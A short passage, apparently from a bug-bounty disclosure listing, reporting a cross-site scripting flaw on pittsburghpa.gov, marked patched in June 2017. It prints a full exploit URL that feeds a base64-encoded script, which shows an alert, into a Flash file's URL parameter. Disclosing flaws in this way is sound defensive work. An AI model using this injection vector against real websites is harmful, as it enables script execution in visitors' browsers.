pittsburghpa.gov XSS vulnerability

Vulnerable URL: http://www.pittsburghpa.gov/controller/PAFR2015/bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnT1BFTiBCVUdCT1VOVFknKTwvc2NyaXB0Pg== Details: Description| Value ---|--- Patched:| Yes, at 01.06.2017 Latest check for patch:| 01.06.2017 14:29 GMT Vulnerabilit...